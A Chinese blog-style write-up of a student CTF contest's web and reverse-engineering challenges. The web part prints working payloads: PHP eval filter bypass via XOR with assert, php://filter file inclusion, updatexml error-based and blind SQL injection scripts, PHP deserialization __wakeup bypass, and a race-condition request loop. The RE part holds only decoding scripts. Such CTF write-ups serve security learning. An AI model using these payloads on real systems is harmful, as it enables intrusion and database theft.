第十届极客大挑战——部分web和RE的WP
昨天刚刚搞完湖湘杯和软考,累的一批,,,,湖湘杯的wp就不写了,写写这个wp
这个好像是一个月之前就开始的,打了一个月,不断的放题,题也做了不少,,,
其他的就不记录了,就记录一下web和RE方面的,,,,
可能有些题是比较简单咯,但是我就是决定记录一下,
简单怎么了?就不能记录了吗?好笑,我就是喜欢记录!!
web - 打比赛前先撸一只猫!
打开查看源码得到:
直接get传递参数cat=dog得到flag
web - 你看见过我的菜刀么
基本操作,页面给了shell,菜刀链接即可:
多找找就能找到flag
web - BurpSuiiiiiit!!!
emmm,这道题是真的骚,说实话我也是第一次看见这种题
根据题意可知利用BurpSuit,下载文件发现是一个jar文件????
不知所措,后来发现,文件名对应着一个bp上的功能!!
bp添加扩展的地方??直接把jar文件加入,最后在错误的页面中看见了flag!!
web - 性感潇文清,在线算卦
查看源代码,发现给出了php源代码:
就是一开始文件存在flag,但是经过很快的一段时间就变了,所以我们必须在内容更改之前访问到文件内容
利用python多线程跑即可:
import requests
import threading
import time
url = "http://148.70.59.198:42534/?u=123&p=123"
url2 = "http://148.70.59.198:42534/uploads/46f19b997a3e5633e191012e6d0ba7148daf76e2/40bd001563085fc35165329ea1ff5c5ecbdbbeef"
class myThread (threading.Thread):
def __init__(self, threadID, name, counter):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.counter = counter
def run(self):
print("Starting " + self.name)
f(self.name, self.counter)
print("Exiting " + self.name)
def f(url,url2):
while 1:
txt1 = requests.get(url)
txt2 = requests.get(url2)
print(txt2.text)
thread1 = myThread(1,url,url2)
thread2 = myThread(2,url,url2)
thread1.start()
thread2.start()
print("Exiting Main Thread")
当然我还有同学是使用bp的,原理差不多,,,
web - Easysql
emmm,so简单,万能密码直接登录拿到flag:
web - RCE me
打开来可以看见源码:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// ?>
emmm,这道题肝了很久很久,,,,,
一开始以为$被过滤了,结果问了出题师傅,才知道,是因为自己传参的原因,走了多少冤枉路啊
因为过滤了大小写字母和数字,所以我们不能直接传递这些,利用异或来进行绕过!!!
payload:?code=$_="`{{{"^"?<>/";;${$_}[_](${$_}[__]);&_=assert&__=执行的命令
就是如此,构造payload,其实中间省略了一些步骤
比如说查看phpinfo,我们可以发现有很多函数被禁用了
不过assert没有,所以我们才会使用这个函数,这个payload也可以查看咯:
总之没过程就不详细说了,根目录下有flag不过不能读取文件,但是功夫不负有心人啊
最后我竟然在tmp文件夹中找到了一个exploit.php文件!!!读取一下内容发现作用是读取flag的,嘿嘿嘿
直接利用这个exp!!最后得到flag:
web - Lovelysql
emmm,一样的sql注入的题目,没有什么东西,就是一个简单的报错注入,,,,
利用union语句即可,利用bp抓包进行注入就好了,这里也就不多说了
反正按照常规方法就能得到flag,毕竟也没有过滤什么
web - Babysql
emmmm,和上一题差不多,只不过过滤了一些关键字,双写即可绕过
基本都与上一题的操作一样,不多说了
web - 神秘的三叶草
emmm,查看源代码可以找到一个页面:
进行访问!得到:
到这里就不难了,后续就不详细说了,就是一个改referer,X-Forwarded-For,还有个浏览器啥的,都是基本的操作了
web - Jiang‘s Secret
打开查看源代码的到一个新的网页:
进行访问:
点击SECRET得到一个提示,说什么东西过去了,直接抓包得到:
进行访问,得到源码:
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
emmm,直接使用文件包含即可
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
将得到的base64解码德科得到flag
web - Hardsql
emmm,这个要说一下了,这个是快结束的时候才做出来的,有个hint说是报错注入
一开始进行尝试,发现and被过滤了,空格也被过滤了,最后找到解决方案,报错嘛,可以利用updataxml嘛
先贴上payload:
?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=123
整个过程的注入语句:
updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)
updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)
updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)
最后的到flag:
web - 反序列化1.0
查看源码,得到:
socre 10000!!!!
<br><!--
class Student
{
public $score = 0;
public function __destruct()
{
echo "__destruct working";
if($this->score==10000) {
$flag = "******************";
echo $flag;
}
}
}
$exp = $_GET['exp'];
echo "<br>";
unserialize($exp);
?>
emmm,基本的反序列化,直接构造:
传递进入,得到flag:
web - 又来一只猫
emmm,打开就得到提示:
直接访问一下www.zip得到源码文件:
查看index.php,看见存在反序列化:
查看一下class.php:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
可以看见$this->username要等于admin,$this->password要等于100就能够的到flag
不过有个__wakeup方法,这个方法就是当反序列化时最先调用这个方法,
需要绕过这个方法,接下来我们先进行构造
有一点需要注意,private私有的变量进行序列化格式是不一样的
得到的构造如下:
?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
不过现在还没有显示,需要我们进行绕过,所以我们让变量加1即可:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
得到:
web - 你有初恋吗
emmm,直接开题:
查看源代码可以看见源码:
这颜色,绿的发慌,,,
看见有urldecode??这就好办了呀,直接二次URL编码
构造:lover=%2573yclover
web - Finalsql
emmmm,直接开题:
得到提示,盲注!!!
而且这个题还有坑点,注入点变了!!!!!不再是登陆框,而是一个id的页面,,,
就在id=1的页面进行注入即可,过滤了空格、and、or、mid、#等其他的没测试
这是条件为真的时候的页面显示:
为假时:
直接上脚本吧,还有一点就是内容特别多,flag藏在中间!!!
两个表,一个表没得用,flag在password中
跑了很久,没用二分法,,,反正时间不着急,啊哈哈哈哈:
import requests
import io
import sys
import string
import time
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8') #改变标准输出的默认编码,否则s.text不能输出
'''
url = "http://118.25.14.40:8104/search.php?id=1=(1)=1"
s = requests.get(url)
s.encoding = 'utf-8'
content = s.content
#检验是否成功
if 'NO! Not this! Click others~~~' in s.text:
s.encoding = 'gbk'
print(s.text)
#构造sql注入语句
F1naI1y,Flaaaaag
and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=xxx)and(length(database()))!='20
ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s
ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='do_y0u_l1ke_long_t4ble_name')),%s,1))=%s
ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),%s,1))=%s
'''
url = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)=1"
url2 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%s,1))=%s)=1"
url3 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%s,1))=%s)=1"
url4 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%s,1))=%s)=1"
url5 = "http://118.25.14.40:8104/search.php?id=1=(ascii(substr((select(group_concat(password))from(F1naI1y)),%s,1))=%s)=1"
ss = ""
x = string.printable
for i in range(1,30):
for j in x:
payload = url5%(str(i),ord(j))
#print(payload)
time.sleep(0.5)
s = requests.get(payload)
if 'NO! Not this! Click others~~~' in s.text:
ss += j
print(ss)
break
RE - jiang’s fan
下载文件,载入ida,直接shift+F12查看字符串得到:
RE - secret
下载文件载入ida,找到main函数:
可以很清楚看见字符串经过一个加密的函数sub_78A(),然后与字符串a5379637b6e3077[]比较,进入函数查看:
貌似就是一个16进制的转换,直接16进制转字符串,或者自己写脚本也行
RE - Easy VB
下载文件使用ida打开,发现是vb文件,发现两串奇怪的字符串!!!
猜测很有可能是异或,而且长度都一样,,,
直接编写脚本:
s = "12345a789012345678g012345a789012"
x = "bKPObQ@goYBGRXjtVKVSn^@kFQh[V_]O"
flag = ""
for i in range(0,len(s)):
flag += chr(ord(s[i]) ^ ord(x[i]))
print(flag)
运行果然是异或,得到flag:
RE - 冰菓
下载文件使用ida打开,发现是.net文件
换一种.net反编译工具dnSpy打开,找到关键点:
就是把我们输入的数传入一个检查函数!!
查看检查函数:
public bool CheckStr(string text)
{
if (text.Length != 20)
{
return false;
}
byte[] bytes = Encoding.ASCII.GetBytes(text);
byte[] array = new byte[]
{
119,
77,
103,
79,
21,
115,
133,
97,
115,
87,
22,
115,
103,
89,
88,
93,
22,
89,
119,
81
};
byte[] array2 = new byte[]
{
57,
13
};
for (int i = 0; i < array.Length; i++)
{
bytes[i] = Convert.ToByte((int)((bytes[i] ^ array2[0]) + array2[1]));
if (bytes[i] != array[i])
{
return false;
}
}
return true;
}
emmmm,很好理解,直接写脚本进行逆向:
a = [119,77,103,79,21,115,133,97,115,87,22,115,103,89,88,93,22,89,119,81]
b = [57,13]
for i in range(0,len(a)):
print(chr((a[i] - b[1]) ^ b[0]),end="")
运行得到结果:
RE - PYC是啥子嘛?
使用python在线反编译工具进行反编译得到源码:
print 'This is a maze.'
print 'Python is so easy.'
print 'Plz Input The Shortest Way:'
maze = '###########S#@@@@@@##@#@####@##@#@@@@#@##@####@#@##@@@@@@#@#########@##E######@##@@@@@@@@###########'
way = raw_input()
len = len(way)
p = 11
for i in way:
if i == '&':
p -= 10
if i == '$':
p += 10
if i == '6':
p -= 1
if i == '3':
p += 1
if maze[p] == '#':
print 'Your way is wrong'
exit(0)
break
if maze[p] == '@':
continue
if maze[p] == 'E':
print 'You do it,your flag is Syc\\{+Your Input+\\}.'
exit(0)
continue
print 'May be something wrong.'
很好理解程序,就是走迷宫,路线就是flag,知道迷宫为:
##########
#S#@@@@@@#
#@#@####@#
#@#@@@@#@#
#@####@#@#
#@@@@@@#@#
########@#
#E######@#
#@@@@@@@@#
##########
就是从S走到E的路线,只能走@符号,路线就是flag
RE - Dll Reverse
首先下载文件,解压发现有exe和dll文件,先运行exe文件看一看:
emmm,没啥,用ida打开exe文件看看:
发现打开了dll文件,直接把dll文件放入ida中查看,找到调用的函数:
发现会检查长度是不是小于等于32
进入sub_10001028()函数查看一下,貌似这一块是base64加密:
后面这一段是关键!!有比较!!!
emmm,既然我如此我们就可以编写脚本还原出原来的字符串
编写解题脚本:
import string
a = [0x22, 0x59, 0x32, 0x5E, 0x38, 0x0B, 0x42, 0x56, 0x26, 0x70, 0x4D, 0x45, 0x13, 0x22, 0x2D, 0x1D, 0x5B, 0x37, 0x70, 0x03, 0x12, 0x60, 0x7C, 0x36, 0x07, 0x53, 0x03, 0x53, 0x4F, 0x78, 0x56, 0x26]
b = [0x45, 0x6A, 0x43, 0x34, 0x56, 0x3B, 0x4F, 0x67, 0x47, 0x43, 0x19, 0x23, 0x43, 0x75, 0x6C, 0x67, 0x3B, 0x65, 0x54, 0x46, 0x42, 0x37, 0x01, 0x50, 0x55, 0x60, 0x49, 0x24, 0x18, 0x4A, 0x27, 0x1F]
s = string.printable
flag = ""
for i in range(32):
for j in s:
if(i % 2 != 0):
x = b[i] ^ ord(j)
else:
x = (b[i] ^ ord(j)) + 3
if(x == a[i]):
flag += j
break
print(flag)
运行得到字符串:
emmmm,拿去base64解密发现解密有问题,怀疑是不是码表有问题,直接shift+F12查看一下:
果然有问题,变换了码表,使用之前的python编写base64加解密脚本(可变换码表)进行解密,得到flag: